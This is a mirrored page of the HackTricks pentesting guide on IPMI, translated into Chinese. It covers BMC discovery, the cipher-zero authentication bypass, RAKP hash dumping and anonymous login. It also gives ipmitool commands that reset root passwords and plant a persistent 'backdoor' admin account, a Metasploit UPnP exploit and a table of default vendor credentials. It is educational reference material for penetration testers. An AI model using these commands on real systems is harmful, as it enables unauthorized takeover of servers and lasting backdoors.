mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
175 lines
14 KiB
Markdown
175 lines
14 KiB
Markdown
# 623/UDP/TCP - IPMI
|
||
|
||
## 623/UDP/TCP - IPMI
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
## 基本信息
|
||
|
||
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics)(`IPMI`)是一组用于硬件主机管理系统的标准化规范,用于系统管理和监控。它作为一个独立的子系统工作,独立于主机的BIOS、CPU、固件和底层操作系统。IPMI使系统管理员能够管理和监控系统,即使它们处于关闭或无响应状态。它通过直接的网络连接到系统的硬件进行操作,不需要通过登录shell访问操作系统。IPMI还可以用于对系统进行远程升级,而无需物理访问目标主机。IPMI通常以以下三种方式使用:
|
||
|
||
* 在操作系统引导之前修改BIOS设置
|
||
* 当主机完全关闭时
|
||
* 在系统故障后访问主机
|
||
|
||
当不用于这些任务时,IPMI可以监视各种不同的事物,如系统温度、电压、风扇状态和电源供应。它还可以用于查询库存信息、查看硬件日志和使用SNMP进行警报。主机系统可以关闭电源,但IPMI模块需要电源和LAN连接才能正常工作。
|
||
|
||
IPMI协议最初由英特尔于1998年发布,现在由200多个系统供应商支持,包括思科、戴尔、惠普、超微、英特尔等。使用IPMI 2.0版本的系统可以通过串行局域网进行管理,使系统管理员能够在带内查看串行控制台输出。为了正常工作,IPMI需要以下组件:
|
||
|
||
* 主板管理控制器(BMC)- IPMI的微控制器和基本组件
|
||
* 智能机箱管理总线(ICMB)- 允许一个机箱与另一个机箱进行通信的接口
|
||
* 智能平台管理总线(IPMB)- 扩展BMC
|
||
* IPMI内存- 存储系统事件日志、存储库数据等
|
||
* 通信接口- 本地系统接口、串行和LAN接口、ICMB和PCI管理总线
|
||
|
||
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||
|
||
**默认端口**:623/UDP/TCP(通常使用UDP,但也可以在TCP上运行)
|
||
|
||
## 枚举
|
||
|
||
### 发现
|
||
```bash
|
||
nmap -n -p 623 10.0.0./24
|
||
nmap -n-sU -p 623 10.0.0./24
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
```
|
||
您可以使用以下方法**识别**版本:
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||
```
|
||
### 漏洞 - 通过密码0绕过IPMI身份验证
|
||
|
||
Dan Farmer [发现了IPMI 2.0规范的一个严重缺陷](http://fish2.com/ipmi/cipherzero.html),即密码类型0,表示客户端希望使用明文身份验证,实际上**允许使用任何密码**进行访问。在HP、Dell和Supermicro BMC中发现了密码0的问题,该问题可能涵盖所有IPMI 2.0实现。\
|
||
请注意,要利用此问题,您首先需要**找到一个有效的用户**。
|
||
|
||
您可以使用以下方法**识别**此问题:
|
||
```
|
||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||
```
|
||
而且你可以使用`ipmitool`来**滥用**这个问题:
|
||
```bash
|
||
apt-get install ipmitool #Install
|
||
#Using -C 0 any password is accepted
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 root true true true ADMINISTRATOR
|
||
3 Oper1 true true true ADMINISTRATOR
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
|
||
```
|
||
### 漏洞 - IPMI 2.0 RAKP认证远程密码哈希检索
|
||
|
||
基本上,**你可以向服务器请求任何用户名的盐值哈希MD5和SHA1,如果用户名存在,这些哈希值将被发送回来。** 是的,听起来很神奇。而且还有一个**Metasploit模块**可以用于测试(你可以选择John或Hashcat格式的输出):
|
||
```bash
|
||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||
```
|
||
_请注意,对于此操作,您只需要一个用户名列表来进行暴力破解(metasploit已经包含了一个带有默认用户名的列表)。_
|
||
|
||
使用`ipmitool`绕过身份验证(`-c 0`)来将root密码更改为abc123:
|
||
```
|
||
root@kali:~# apt-get install ipmitool
|
||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 root true true true ADMINISTRATOR
|
||
3 Oper1 true true true ADMINISTRATOR
|
||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
||
```
|
||
### 漏洞 - IPMI匿名认证
|
||
|
||
除了上述的认证问题外,丹·法尔默还指出,**许多BMC默认启用了“匿名”访问**。这是通过将第一个**用户**账户的用户名设置为**空字符串**,并将**空密码**设置为匹配来配置的。_ipmi\_dumphashes_模块将识别并转储空用户账户的密码哈希(包括空密码)。**这个账户本身可能难以使用,但我们可以利用`ipmitool`重置命名用户账户的密码,并利用该账户访问其他服务:
|
||
```bash
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
1 false false true ADMINISTRATOR
|
||
2 root false false true ADMINISTRATOR
|
||
3 admin true true true ADMINISTRATOR
|
||
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
|
||
```
|
||
### 漏洞 - Supermicro IPMI明文密码
|
||
|
||
IPMI 2.0规范要求BMC响应基于HMAC的身份验证方法,如SHA1和MD5。这种身份验证过程存在一些严重的弱点,正如之前的示例所示,但也**需要访问明文密码以计算身份验证哈希**。这意味着BMC必须在**非易失性存储器**中存储所有配置的用户密码的**明文版本**。在**Supermicro**的情况下,此位置在固件版本之间会发生变化,但要么是**`/nv/PSBlock`**,要么是**`/nv/PSStore`**。密码分散在各种二进制块之间,但很容易识别,因为它们总是跟随用户名。对于任何使用BMC之间或甚至不同类型设备之间共享密码的组织来说,这是一个严重的问题。
|
||
```bash
|
||
cat /nv/PSBlock
|
||
admin ADMINpassword^TT rootOtherPassword!
|
||
```
|
||
### 漏洞 - Supermicro IPMI UPnP
|
||
|
||
Supermicro在其最新的许多主板的IPMI固件上包含一个运行在UDP端口1900上的UPnP SSDP监听器。在SMT\_X9\_218之前的版本中,该服务运行的是Intel SDK for UPnP Devices的1.3.1版本。这个版本存在[由Rapid7在2013年2月披露的问题](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play),并且Metasploit Framework中包含了针对这个平台的利用工具。这种攻击的有趣之处在于它可以获得对BMC的完全root访问权限,而这在其他情况下很难获得。请记住,具有管理访问权限的攻击者,无论是通过网络还是从主机系统的root shell,都可以将Supermicro BMC的固件降级到一个存在漏洞的版本,然后利用它。一旦获得root访问权限,就可以从文件系统中读取明文凭据,安装其他软件,并将永久后门集成到BMC中,即使主机操作系统进行了完全重新安装,后门仍然存在。
|
||
```bash
|
||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||
```
|
||
### 暴力破解
|
||
|
||
请注意,只有惠普(HP)在制造过程中对密码进行随机化。
|
||
|
||
| 产品名称 | 默认用户名 | 默认密码 |
|
||
| ----------------------------------------------- | -------------- | ---------------------------------------- |
|
||
| **HP Integrated Lights Out (iLO)** | Administrator | \<工厂随机化的8位字符> |
|
||
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
|
||
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD(0为零) |
|
||
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
|
||
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
|
||
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
|
||
| **ASUS iKVM BMC** | admin | admin |
|
||
|
||
## 从BMC攻击主机
|
||
|
||
一旦获得对BMC的管理员访问权限,就可以使用多种方法来访问主机操作系统。最直接的方法是滥用BMC的KVM功能,并将主机重启到root shell(在GRUB中使用init=/bin/sh)或指定一个救援盘作为虚拟CD-ROM并引导到该盘。一旦获得对主机磁盘的原始访问权限,就可以轻松引入后门,从硬盘复制数据,或者执行任何需要进行的安全评估的操作。当然,这种方法的一个很大的缺点是必须重新启动主机才能使用。访问正在运行的主机要困难得多,这取决于主机正在运行的内容。如果主机的物理控制台处于登录状态,使用内置的KVM功能轻松劫持它。串行控制台也是如此-如果串行端口连接到经过身份验证的会话,则BMC可能允许使用ipmitool接口进行串行局域网(sol)的劫持。仍需要进行更多研究的一条路径是滥用对共享硬件的访问权限,例如i2c总线和Super I/O芯片。
|
||
|
||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
|
||
|
||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
|
||
|
||
![](<../.gitbook/assets/image (202) (2).png>)
|
||
|
||
## 从主机攻击BMC
|
||
|
||
在主机带有BMC并被入侵的情况下,可以使用**本地接口来引入一个后门用户账户**,从而在服务器上建立一个永久立足点。此攻击需要在主机上安装**`ipmitool`**并启用对BMC的驱动程序支持。下面的示例演示了如何使用主机上的本地接口(不需要身份验证)将新用户账户注入到BMC中。此方法适用于Linux、Windows、BSD甚至DOS目标。
|
||
```bash
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
|
||
ipmitool user set name 4 backdoor
|
||
ipmitool user set password 4 backdoor
|
||
ipmitool user priv 4 4
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
4 backdoor true false true ADMINISTRATOR
|
||
```
|
||
## Shodan
|
||
|
||
* `port:623`
|
||
|
||
## 参考资料
|
||
|
||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|